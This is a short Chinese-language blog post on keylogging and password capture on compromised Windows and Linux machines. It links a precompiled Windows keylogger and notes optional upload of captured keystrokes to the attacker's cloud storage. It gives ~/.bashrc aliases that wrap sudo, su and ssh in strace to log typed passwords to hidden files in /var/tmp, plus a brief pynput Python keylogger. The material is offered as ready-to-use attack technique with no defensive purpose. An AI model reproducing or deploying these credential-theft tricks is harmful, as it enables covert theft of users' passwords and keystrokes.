记录三个我常用的简单的键盘记录和密码读取操作,windows 的密码读取就不多说了,毕竟都很熟悉,主要是 linux 方面,当然还有很多其他的姿势,比如:工具 简介 mimipenguin linux……
项目地址:https://github.com/uknowsec/keylogger
windows 已编译下载地址:https://oss.zjun.info/file/keylogger.exe
可以支持通过传入 Aliyun Access Key 实现定时回传,但是会有泄露风险,直接不加任何参数运行键盘记录数据保存在目标本地即可。
保存数据路径:
C:\Users\<USERNAME>\AppData\Local\Packages\Microsoft.Messaging\360se_dump.tmp
~/.bashrc
下添加以下三条 alias,sudo、su、ssh 一般是用得比较多的可以获取密码的点alias sudo='strace -f -e trace=read,write -o /var/tmp/.sudo-`date +'%Y-%m-%d+%H:%m:%S'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /var/tmp/.su-`date +'%Y-%m-%d+%H:%m:%S'`.log -s 32 su'
alias ssh='strace -f -e trace=read,write -o /var/tmp/.ssh-`date +'%Y-%m-%d+%H:%m:%S'`.log -s 32 ssh'
~/.bashrc
文件import logging
from pynput.keyboard import Listenerlogging.basicConfig(filename="/tmp/log.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def on_press(key):
logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
作者:zjun
原文地址:https://blog.zjun.info/
好文推荐